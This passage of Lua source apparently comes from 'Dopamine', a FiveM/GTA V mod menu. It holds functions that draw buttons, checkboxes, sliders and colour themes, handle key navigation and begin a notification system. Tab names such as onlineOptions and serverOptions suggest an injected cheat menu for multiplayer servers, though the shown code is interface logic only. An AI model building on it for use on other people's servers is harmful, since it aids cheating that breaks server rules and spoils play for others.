  996. actualSubText = '~r~'..subText
  997. else
  998. actualSubText = subText
  999. end]]
  1000. Dopamine.drawButton(false, text, subText, spriteData)
  1001.  
  1002. if isCurrent then
  1003. if Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.select then
  1004. Dopamine.natives.playSoundFrontend(-1, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.name, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.set, true)
  1005. Dopamine.debugPrint(buttonText..' button pressed')
  1006. return true
  1007. elseif Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.left or Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.right then
  1008. Dopamine.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1009. end
  1010. end
  1011.  
  1012. return false
  1013. else
  1014. Dopamine.debugPrint('Failed to create '..buttonText..' button: '..tostring(Dopamine.menuProps.currentMenu)..' menu doesn\'t exist')
  1015.  
  1016. return false
  1017. end
  1018. end
  1019.  
  1020. function Dopamine.checkboxButton(text, state)
  1021. local buttonText = text
  1022.  
  1023. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  1024. Dopamine.menuProps.optionCount = Dopamine.menuProps.optionCount + 1
  1025.  
  1026. local isCurrent = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount
  1027.  
  1028. Dopamine.drawCheckbox(text, state)
  1029.  
  1030. if isCurrent then
  1031. if Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.select then
  1032. Dopamine.natives.playSoundFrontend(-1, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.name, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.set, true)
  1033. Dopamine.debugPrint(buttonText..' button pressed')
  1034. return true
  1035. elseif Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.left or Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.right then
  1036. Dopamine.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1037. end
  1038. end
  1039.  
  1040. return false
  1041. else
  1042. Dopamine.debugPrint('Failed to create '..buttonText..' button: '..tostring(Dopamine.menuProps.currentMenu)..' menu doesn\'t exist')
  1043.  
  1044. return false
  1045. end
  1046. end
  1047.  
  1048. function Dopamine.button2(text, subText, spriteData)
  1049. local buttonText = text
  1050. if subText then
  1051. buttonText = '{ '..tostring(buttonText)..', '..tostring(subText)..' }'
  1052. end
  1053.  
  1054. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  1055. Dopamine.menuProps.optionCount = Dopamine.menuProps.optionCount + 1
  1056.  
  1057. local isCurrent = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount
  1058.  
  1059. Dopamine.drawButton(true, text, subText, spriteData)
  1060.  
  1061. if isCurrent then
  1062. if Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.select then
  1063. Dopamine.natives.playSoundFrontend(-1, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.name, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.set, true)
  1064. Dopamine.debugPrint(buttonText..' button pressed')
  1065. return true
  1066. elseif Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.left or Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.right then
  1067. Dopamine.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1068. end
  1069. end
  1070.  
  1071. return false
  1072. else
  1073. Dopamine.debugPrint('Failed to create '..buttonText..' button: '..tostring(Dopamine.menuProps.currentMenu)..' menu doesn\'t exist')
  1074.  
  1075. return false
  1076. end
  1077. end
  1078.  
  1079. function Dopamine.menuButton(text, id, subText, spriteData)
  1080. if Dopamine.menuProps.shitMenus[id] then
  1081. if Dopamine.button2(text, subText, spriteData) then
  1082. Dopamine.setMenuVisible(Dopamine.menuProps.currentMenu, false)
  1083. Dopamine.setMenuVisible(id, true, true)
  1084.  
  1085. return true
  1086. end
  1087. else
  1088. Dopamine.debugPrint('Failed to create '..tostring(text)..' menu button: '..tostring(id)..' submenu doesn\'t exist')
  1089. end
  1090.  
  1091. return false
  1092. end
  1093.  
  1094. function Dopamine.checkBox(text, checked, callback)
  1095. --[[if Dopamine.button(text, checked and '~g~Enabled' or '~r~Disabled') then]]
  1096. if Dopamine.checkboxButton(text, checked) then
  1097. checked = not checked
  1098. Dopamine.debugPrint(tostring(text)..' checkbox changed to '..tostring(checked))
  1099. if callback then callback(checked) end
  1100.  
  1101. return true
  1102. end
  1103.  
  1104. return false
  1105. end
  1106.  
  1107. function Dopamine.comboBox(text, items, currentIndex, selectedIndex, callback)
  1108. local itemsCount = #items
  1109. local selectedItem = items[currentIndex]
  1110. local isCurrent = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == (Dopamine.menuProps.optionCount + 1)
  1111.  
  1112. if itemsCount > 1 and isCurrent then
  1113. selectedItem = '« '..tostring(selectedItem)..' »'
  1114. end
  1115.  
  1116. if Dopamine.button(text, selectedItem) then
  1117. selectedIndex = currentIndex
  1118. callback(currentIndex, selectedIndex)
  1119. return true
  1120. elseif isCurrent then
  1121. if Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.left then
  1122. if currentIndex > 1 then currentIndex = currentIndex - 1 else currentIndex = itemsCount end
  1123. elseif Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.right then
  1124. if currentIndex < itemsCount then currentIndex = currentIndex + 1 else currentIndex = 1 end
  1125. end
  1126. else
  1127. currentIndex = selectedIndex
  1128. end
  1129.  
  1130. callback(currentIndex, selectedIndex)
  1131. return false
  1132. end
  1133.  
  1134. function Dopamine.comboBoxSlider(text, items, currentIndex, selectedIndex, callback)
  1135. local itemsCount = #items
  1136. local selectedItem = items[currentIndex]
  1137. local isCurrent = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == (Dopamine.menuProps.optionCount + 1)
  1138.  
  1139. if itemsCount > 1 and isCurrent then
  1140. selectedItem = tostring(selectedItem)
  1141. end
  1142.  
  1143. if Dopamine.button3(text, items, itemsCount, currentIndex) then
  1144. selectedIndex = currentIndex
  1145. callback(currentIndex, selectedIndex)
  1146. return true
  1147. elseif isCurrent then
  1148. if Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.left then
  1149. if currentIndex > 1 then currentIndex = currentIndex - 1
  1150. elseif currentIndex == 1 then currentIndex = 1 end
  1151. elseif Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.right then
  1152. if currentIndex < itemsCount then currentIndex = currentIndex + 1
  1153. elseif currentIndex == itemsCount then currentIndex = itemsCount end
  1154. end
  1155. else
  1156. currentIndex = selectedIndex
  1157. end
  1158. callback(currentIndex, selectedIndex)
  1159. return false
  1160. end
  1161.  
  1162. function Dopamine.drawButton3(text, items, itemsCount, currentIndex)
  1163. local x = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width / 2
  1164. local multiplier = nil
  1165.  
  1166. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount and Dopamine.menuProps.optionCount <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount then
  1167. multiplier = Dopamine.menuProps.optionCount
  1168. elseif Dopamine.menuProps.optionCount > Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount and Dopamine.menuProps.optionCount <= Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption then
  1169. multiplier = Dopamine.menuProps.optionCount - (Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].maxOptionCount)
  1170. end
  1171.  
  1172. if multiplier then
  1173. local y = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].y + Dopamine.menuProps.titleHeight + Dopamine.menuProps.buttonHeight + (Dopamine.menuProps.buttonHeight * multiplier) - Dopamine.menuProps.buttonHeight / 2
  1174. local backgroundColor = nil
  1175. local textColor = nil
  1176. local subTextColor = nil
  1177. local rectBackgroundColor = nil
  1178. local rectBackgroundLine = nil
  1179. local shadow = false
  1180.  
  1181. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount then
  1182. backgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusBackgroundColor
  1183. textColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusTextColor
  1184. subTextColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuFocusTextColor
  1185. rectBackgroundColor = { r = Dopamine.mainColor.r, g = Dopamine.mainColor.g, b = Dopamine.mainColor.b, a = 255 }
  1186. rectBackgroundLine = { r = Dopamine.mainColor.r, g = Dopamine.mainColor.g, b = Dopamine.mainColor.b, a = 255 }
  1187. else
  1188. backgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuBackgroundColor
  1189. textColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuTextColor
  1190. subTextColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuSubTextColor
  1191. rectBackgroundColor = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].menuTextColor
  1192. rectBackgroundLine = {r = 155, g = 155, b = 155, a = 150}
  1193. shadow = true
  1194. end
  1195.  
  1196. local sliderWidth = ((Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width / 3) / itemsCount)
  1197. local subtractionToX = ((sliderWidth * (currentIndex + 1)) - (sliderWidth * currentIndex)) / 2
  1198.  
  1199. local XOffset = 0.16
  1200. local stabilizer = 1
  1201.  
  1202. --[[ Draw order from top to bottom]]
  1203. if itemsCount >= 40 then
  1204. stabilizer = 1.005
  1205. end
  1206.  
  1207. Dopamine.drawRect(x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, backgroundColor) --[[ Button Rectangle -2.15]]
  1208. Dopamine.drawRect(((Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + 0.1675) + (subtractionToX * itemsCount)) / stabilizer, y, sliderWidth * (itemsCount - 1) + 0.001, Dopamine.menuProps.buttonHeight / 2 + 0.002, rectBackgroundLine)
  1209. Dopamine.drawRect(((Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + 0.1675) + (subtractionToX * itemsCount)) / stabilizer, y, sliderWidth * (itemsCount - 1), Dopamine.menuProps.buttonHeight / 2, {r = 10, g = 10, b = 10, a = 150})
  1210. Dopamine.drawRect(((Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + 0.1675) + (subtractionToX * currentIndex)) / stabilizer, y, sliderWidth * (currentIndex - 1), Dopamine.menuProps.buttonHeight / 2, rectBackgroundColor)
  1211. Dopamine.drawText(text, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + Dopamine.menuProps.buttonTextXOffset, y - (Dopamine.menuProps.buttonHeight / 2) + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, textColor, Dopamine.menuProps.buttonScale, false, shadow)
  1212.  
  1213. local CurrentItem = tostring(items[currentIndex])
  1214. if string.len(CurrentItem) == 1 then XOffset = 0.1650
  1215. elseif string.len(CurrentItem) == 2 then XOffset = 0.1625
  1216. elseif string.len(CurrentItem) == 3 then XOffset = 0.16015
  1217. elseif string.len(CurrentItem) == 4 then XOffset = 0.1585
  1218. elseif string.len(CurrentItem) == 5 then XOffset = 0.1570
  1219. elseif string.len(CurrentItem) >= 6 then XOffset = 0.1555
  1220. end
  1221.  
  1222. Dopamine.drawText(items[currentIndex], ((Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].x + XOffset) + 0.04) / stabilizer, y - (Dopamine.menuProps.buttonHeight / 2.15) + Dopamine.menuProps.buttonTextYOffset, Dopamine.menuProps.buttonFont, {r = 255, g = 255, b = 255, a = 255}, Dopamine.menuProps.buttonScale, false, shadow) --[[ Current Item Text]]
  1223.  
  1224. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount and Dopamine.menuProps.menu_RectOverlay then
  1225. if not HasStreamedTextureDictLoaded('deadline') then Dopamine.natives.requestStreamedTextureDict('deadline', true) end
  1226. DrawSprite('deadline', 'deadline_trail_01', x, y, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].width, Dopamine.menuProps.buttonHeight, 0.0, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 55)
  1227. end
  1228. end
  1229. end
  1230.  
  1231. function Dopamine.button3(text, items, itemsCount, currentIndex)
  1232. local buttonText = text
  1233.  
  1234. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu] then
  1235. Dopamine.menuProps.optionCount = Dopamine.menuProps.optionCount + 1
  1236.  
  1237. local isCurrent = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption == Dopamine.menuProps.optionCount
  1238.  
  1239. Dopamine.drawButton3(text, items, itemsCount, currentIndex)
  1240.  
  1241. if isCurrent then
  1242. if Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.select then
  1243. Dopamine.natives.playSoundFrontend(-1, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.name, Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].buttonPressedSound.set, true)
  1244. Dopamine.debugPrint(buttonText..' button pressed')
  1245. return true
  1246. elseif Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.left or Dopamine.menuProps.currentKey == Dopamine.menuProps.keys.right then
  1247. Dopamine.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1248. end
  1249. end
  1250.  
  1251. return false
  1252. else
  1253. Dopamine.debugPrint('Failed to create '..buttonText..' button: '..tostring(Dopamine.menuProps.currentMenu)..' menu doesn\'t exist')
  1254.  
  1255. return false
  1256. end
  1257. end
  1258.  
  1259. function Dopamine.runDrawMenu()
  1260. if Dopamine.isMenuVisible(Dopamine.menuProps.currentMenu) then
  1261. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].aboutToBeClosed then
  1262. Dopamine.closeMenu()
  1263. else
  1264. ClearAllHelpMessages()
  1265.  
  1266. Dopamine.drawTitle()
  1267. Dopamine.drawSubTitle()
  1268.  
  1269. Dopamine.menuProps.currentKey = nil
  1270.  
  1271. if IsDisabledControlJustReleased(1, Dopamine.menuProps.keys.down) then
  1272. Dopamine.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1273.  
  1274. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption < Dopamine.menuProps.optionCount then
  1275. Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption + 1
  1276. else
  1277. Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption = 1
  1278. end
  1279. elseif IsDisabledControlJustReleased(1, Dopamine.menuProps.keys.up) then
  1280. Dopamine.natives.playSoundFrontend(-1, 'NAV_UP_DOWN', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1281.  
  1282. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption > 1 then
  1283. Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption = Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption - 1
  1284. else
  1285. Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].currentOption = Dopamine.menuProps.optionCount
  1286. end
  1287. elseif IsDisabledControlJustReleased(1, Dopamine.menuProps.keys.left) then
  1288. Dopamine.menuProps.currentKey = Dopamine.menuProps.keys.left
  1289. elseif IsDisabledControlJustReleased(1, Dopamine.menuProps.keys.right) then
  1290. Dopamine.menuProps.currentKey = Dopamine.menuProps.keys.right
  1291. elseif IsDisabledControlJustReleased(1, Dopamine.menuProps.keys.select) then
  1292. Dopamine.menuProps.currentKey = Dopamine.menuProps.keys.select
  1293. elseif IsDisabledControlJustReleased(1, Dopamine.menuProps.keys.back) then
  1294. if Dopamine.menuProps.shitMenus[Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].previousMenu] then
  1295. Dopamine.natives.playSoundFrontend(-1, 'BACK', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
  1296. Dopamine.setMenuVisible(Dopamine.menuProps.shitMenus[Dopamine.menuProps.currentMenu].previousMenu, true)
  1297. else
  1298. Dopamine.closeMenu()
  1299. end
  1300. end
  1301.  
  1302. Dopamine.menuProps.optionCount = 0
  1303. end
  1304. end
  1305. end
  1306. function Dopamine.setMenuWidth(id, width)
  1307. Dopamine.setMenuProperty(id, 'width', width)
  1308. end
  1309.  
  1310. function Dopamine.setMenuX(id, x)
  1311. Dopamine.setMenuProperty(id, 'x', x)
  1312. end
  1313.  
  1314. function Dopamine.setMenuY(id, y)
  1315. Dopamine.setMenuProperty(id, 'y', y)
  1316. end
  1317.  
  1318. function Dopamine.setMenuMaxOptionCountOnScreen(id, count)
  1319. Dopamine.setMenuProperty(id, 'maxOptionCount', count)
  1320. end
  1321.  
  1322. function Dopamine.setTitle(id, title)
  1323. Dopamine.setMenuProperty(id, 'title', title)
  1324. end
  1325.  
  1326. function Dopamine.setTitleColor(id, r, g, b, a)
  1327. Dopamine.setMenuProperty(id, 'titleColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].titleColor.a })
  1328. end
  1329.  
  1330. function Dopamine.setTitleBackgroundColor(id, r, g, b, a)
  1331. Dopamine.setMenuProperty(id, 'titleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].titleBackgroundColor.a })
  1332. end
  1333.  
  1334. function Dopamine.setTitleBackgroundSprite(id, textureDict, textureName)
  1335. Dopamine.natives.requestStreamedTextureDict(textureDict)
  1336. Dopamine.setMenuProperty(id, 'titleBackgroundSprite', { dict = textureDict, name = textureName })
  1337. end
  1338.  
  1339. function Dopamine.setTitleBackgroundSpriteNil(id)
  1340. Dopamine.setMenuProperty(id, 'titleBackgroundSprite', nil)
  1341. end
  1342.  
  1343. function Dopamine.setSubTitle(id, text)
  1344. Dopamine.setMenuProperty(id, 'subTitle', text)
  1345. end
  1346.  
  1347. function Dopamine.setMenuBackgroundColor(id, r, g, b, a)
  1348. Dopamine.setMenuProperty(id, 'menuBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].menuBackgroundColor.a })
  1349. end
  1350. function Dopamine.setMenuSubTitleBackgroundColor(id, r, g, b, a)
  1351. Dopamine.setMenuProperty(id, 'subTitleBackgroundColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].subTitleBackgroundColor.a })
  1352. end
  1353.  
  1354. function Dopamine.setMenuTextColor(id, r, g, b, a)
  1355. Dopamine.setMenuProperty(id, 'menuTextColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].menuTextColor.a })
  1356. end
  1357.  
  1358. function Dopamine.setMenuSubTextColor(id, r, g, b, a)
  1359. Dopamine.setMenuProperty(id, 'menuSubTextColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].menuSubTextColor.a })
  1360. end
  1361.  
  1362. function Dopamine.setMenuFocusTextColor(id, r, g, b, a)
  1363. Dopamine.setMenuProperty(id, 'menuFocusTextColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].menuFocusTextColor.a })
  1364. end
  1365.  
  1366. function Dopamine.setMenuFocusColor(id, r, g, b, a)
  1367. Dopamine.setMenuProperty(id, 'menuFocusColor', { ['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].menuFocusColor.a })
  1368. end
  1369.  
  1370. function Dopamine.setMenuButtonPressedSound(id, name, set)
  1371. Dopamine.setMenuProperty(id, 'buttonPressedSound', { ['name'] = name, ['set'] = set })
  1372. end
  1373.  
  1374. function Dopamine.setFont(id, font)
  1375. Dopamine.menuProps.buttonFont = font
  1376. Dopamine.menuProps.shitMenus[id].titleFont = font
  1377. end
  1378. local _be_aN = be_aN
  1379. function Dopamine.setMaxOptionCount(id, count)
  1380. Dopamine.setMenuProperty(id, 'maxOptionCount', count)
  1381. end
  1382.  
  1383. function Dopamine.setMenuFocusBackgroundColor(id, r, g, b, a)
  1384. Dopamine.setMenuProperty(id, 'menuFocusBackgroundColor', {['r'] = r, ['g'] = g, ['b'] = b, ['a'] = a or Dopamine.menuProps.shitMenus[id].menuFocusBackgroundColor.a})
  1385. end
  1386.  
  1387. pCreateThread(function()
  1388. --[[Handle rainbow theme]]
  1389. while Dopamine.shouldShowMenu do pWait(0)
  1390. Dopamine.menuProps.rainbowInt = Dopamine.trashFunctions.returnRGB(0.2)
  1391. if Dopamine.menuProps.selectedThemeRainbow then
  1392. Dopamine.mainColor = {
  1393. r = Dopamine.menuProps.rainbowInt.r,
  1394. g = Dopamine.menuProps.rainbowInt.g,
  1395. b = Dopamine.menuProps.rainbowInt.b,
  1396. a = 255
  1397. }
  1398. end
  1399. end
  1400. end)
  1401. function Dopamine.setTheme(id)
  1402. if Dopamine.menuProps.selectedTheme == 'Light' then
  1403. Dopamine.mainColor = {
  1404. r = 89,
  1405. g = 173,
  1406. b = 218,
  1407. a = 255
  1408. }
  1409. Dopamine.setTitleBackgroundSprite(id, 'commonmenu', 'interaction_bgd')
  1410. Dopamine.setMenuBackgroundColor(id, 45, 45, 45, 225)
  1411. Dopamine.setMenuFocusBackgroundColor(id, 25, 25, 25, 225)
  1412. Dopamine.setMenuSubTitleBackgroundColor(id, 0, 0, 0, 255)
  1413. Dopamine.setTitleBackgroundColor(id, Dopamine.mainColor.r, Dopamine.mainColor.g, Dopamine.mainColor.b, 255)
  1414. Dopamine.setTitleColor(id, 255, 255, 255, 255)
  1415. Dopamine.setMenuTextColor(id, 150, 150, 150)
  1416. Dopamine.setMenuFocusTextColor(id, 175, 175, 175, 255)
  1417. Dopamine.setMenuSubTextColor(id, 155, 155, 155, 225)
  1418. Dopamine.setFont(id, 4)
  1419. Dopamine.setMenuX(id, 0.025)
  1420. Dopamine.setMenuY(id, 0.3)
  1421. Dopamine.setMenuWidth(id, 0.25)
  1422. Dopamine.setMaxOptionCount(id, Dopamine.menuProps.maximumOptionCount)
  1423.  
  1424. Dopamine.menuProps.titleHeight = 0.0525
  1425. Dopamine.menuProps.titleXOffset = 0.15
  1426. Dopamine.menuProps.titleYOffset = 0.00485
  1427. Dopamine.menuProps.titleScale = 0.7
  1428. Dopamine.menuProps.titleSpacing = 2.0
  1429. Dopamine.menuProps.buttonHeight = 0.035
  1430. Dopamine.menuProps.buttonScale = 0.360
  1431. Dopamine.menuProps.buttonTextXOffset = 0.003
  1432. Dopamine.menuProps.buttonTextYOffset = 0.0025
  1433.  
  1434. Dopamine.menuTabsColors = {
  1435. selfOptions = {r=255, g=255, b=255},
  1436. onlineOptions = {r=255, g=255, b=255},
  1437. visualOptions = {r=255, g=255, b=255},
  1438. teleportOptions = {r=255, g=255, b=255},
  1439. vehicleOptions = {r=255, g=255, b=255},
  1440. weaponOptions = {r=255, g=255, b=255},
  1441. serverOptions = {r=255, g=255, b=255},
  1442. menuOptions = {r=255, g=255, b=255}
  1443. }
  1444. elseif Dopamine.menuProps.selectedTheme == 'Dark' then
  1445. Dopamine.mainColor = {
  1446. r = 225,
  1447. g = 55,
  1448. b = 55,
  1449. a = 255
  1450. }
  1451. Dopamine.setTitleBackgroundSprite(id, 'shopui_title_sm_hangar', 'shopui_title_sm_hangar')
  1452. --[[Dopamine.setTitleBackgroundSpriteNil(id)]]
  1453. Dopamine.setMenuBackgroundColor(id, 25, 25, 25, 225)
  1454. Dopamine.setMenuFocusBackgroundColor(id, 50, 50, 50, 230)
  1455. Dopamine.setMenuSubTitleBackgroundColor(id, 35, 35, 35, 255)
  1456. Dopamine.setTitleBackgroundColor(id, 15, 15, 15, 255)
  1457. Dopamine.setTitleColor(id, 135, 135, 135, 255)
  1458. Dopamine.setMenuTextColor(id, 150, 150, 150)
  1459. Dopamine.setMenuFocusTextColor(id, 155, 155, 155, 255)
  1460. Dopamine.setMenuSubTextColor(id, 70, 70, 70, 255)
  1461. Dopamine.setFont(id, 4)
  1462. Dopamine.setMenuX(id, 0.025)
  1463. Dopamine.setMenuY(id, 0.3)
  1464. Dopamine.setMenuWidth(id, 0.25)
  1465. Dopamine.setMaxOptionCount(id, Dopamine.menuProps.maximumOptionCount)
  1466.  
  1467. Dopamine.menuProps.titleHeight = 0.0525
  1468. Dopamine.menuProps.titleXOffset = 0.15
  1469. Dopamine.menuProps.titleYOffset = 0.00485
  1470. Dopamine.menuProps.titleScale = 0.7
  1471. Dopamine.menuProps.titleSpacing = 2.0
  1472. Dopamine.menuProps.buttonHeight = 0.035
  1473. Dopamine.menuProps.buttonScale = 0.360
  1474. Dopamine.menuProps.buttonTextXOffset = 0.003
  1475. Dopamine.menuProps.buttonTextYOffset = 0.0025
  1476.  
  1477. Dopamine.menuTabsColors = {
  1478. selfOptions = {r=255, g=255, b=255},
  1479. onlineOptions = {r=255, g=255, b=255},
  1480. visualOptions = {r=255, g=255, b=255},
  1481. teleportOptions = {r=255, g=255, b=255},
  1482. vehicleOptions = {r=255, g=255, b=255},
  1483. weaponOptions = {r=255, g=255, b=255},
  1484. serverOptions = {r=255, g=255, b=255},
  1485. menuOptions = {r=255, g=255, b=255}
  1486. }
  1487. elseif Dopamine.menuProps.selectedTheme == 'Classic' then
  1488. Dopamine.mainColor = {
  1489. r = 105,
  1490. g = 55,
  1491. b = 255,
  1492. a = 255
  1493. }
  1494. Dopamine.setTitleBackgroundSpriteNil(id)
  1495. Dopamine.setMenuBackgroundColor(id, 25, 25, 25, 225)
  1496. Dopamine.setMenuFocusBackgroundColor(id, 50, 50, 50, 230)
  1497. Dopamine.setMenuSubTitleBackgroundColor(id, 35, 35, 35, 255)
  1498. Dopamine.setTitleBackgroundColor(id, 15, 15, 15, 255)
  1499. Dopamine.setTitleColor(id, 135, 135, 135, 255)
  1500. Dopamine.setMenuTextColor(id, 150, 150, 150)
  1501. Dopamine.setMenuFocusTextColor(id, 155, 155, 155, 255)
  1502. Dopamine.setMenuSubTextColor(id, 70, 70, 70, 255)
  1503. Dopamine.setFont(id, 4)
  1504. Dopamine.setMenuX(id, 0.025)
  1505. Dopamine.setMenuY(id, 0.3)
  1506. Dopamine.setMenuWidth(id, 0.25)
  1507. Dopamine.setMaxOptionCount(id, 12)
  1508.  
  1509. Dopamine.menuProps.titleHeight = 0.0525
  1510. Dopamine.menuProps.titleXOffset = 0.15
  1511. Dopamine.menuProps.titleYOffset = 0.00485
  1512. Dopamine.menuProps.titleScale = 0.7
  1513. Dopamine.menuProps.titleSpacing = 2.0
  1514. Dopamine.menuProps.buttonHeight = 0.035
  1515. Dopamine.menuProps.buttonScale = 0.360
  1516. Dopamine.menuProps.buttonTextXOffset = 0.003
  1517. Dopamine.menuProps.buttonTextYOffset = 0.0025
  1518.  
  1519. Dopamine.menuTabsColors = {
  1520. selfOptions = {r=26, g=288, b=156},
  1521. onlineOptions = {r=52, g=152, b=219},
  1522. visualOptions = {r=236, g=240, b=241},
  1523. teleportOptions = {r=241, g=196, b=15},
  1524. vehicleOptions = {r=230, g=126, b=34},
  1525. weaponOptions = {r=231, g=76, b=60},
  1526. serverOptions = {r=155, g=89, b=182},
  1527. menuOptions = {r=155, g=89, b=182}
  1528. }
  1529. end
  1530. end
  1531.  
  1532. function Dopamine.initTheme()
  1533. for i = 1, #Dopamine.menus_list do
  1534. Dopamine.setTheme(Dopamine.menus_list[i], Dopamine.menuProps.selectedTheme)
  1535. end
  1536. end
  1537.  
  1538. --[[
  1539. Notifications system
  1540. ]]
  1541.  
  1542. Dopamine.addNotification = function(text, ms)
  1543. table.insert(Dopamine.cachedNotifications, { ['text'] = text, ['time'] = ms, ['startTime'] = GetGameTimer() })
  1544. end
  1545.  
  1546. Dopamine.removeNotification = function(id)
  1547. table.remove(Dopamine.cachedNotifications, id)
  1548. end
  1549.  
  1550. Dopamine.draw_3D = function(x, y, text, opacity)
  1551. if opacity > 255 then
  1552. opacity = 255
  1553. elseif opacity < 0 then
  1554. opacity = 0
  1555. end
  1556.  
  1557. Dopamine.natives.setTextScale(0.35, 0.35)
  1558. if Dopamine.menuProps.menu_TextDropShadow then
  1559. Dopamine.natives.setTextDropShadow(0, 0, 0, 0,255)
  1560. end
  1561. SetTextEdge(2, 0, 0, 0, 255)
  1562. if Dopamine.menuProps.menu_TextOutline then
  1563. Dopamine.natives.setTextOutline()
  1564. end
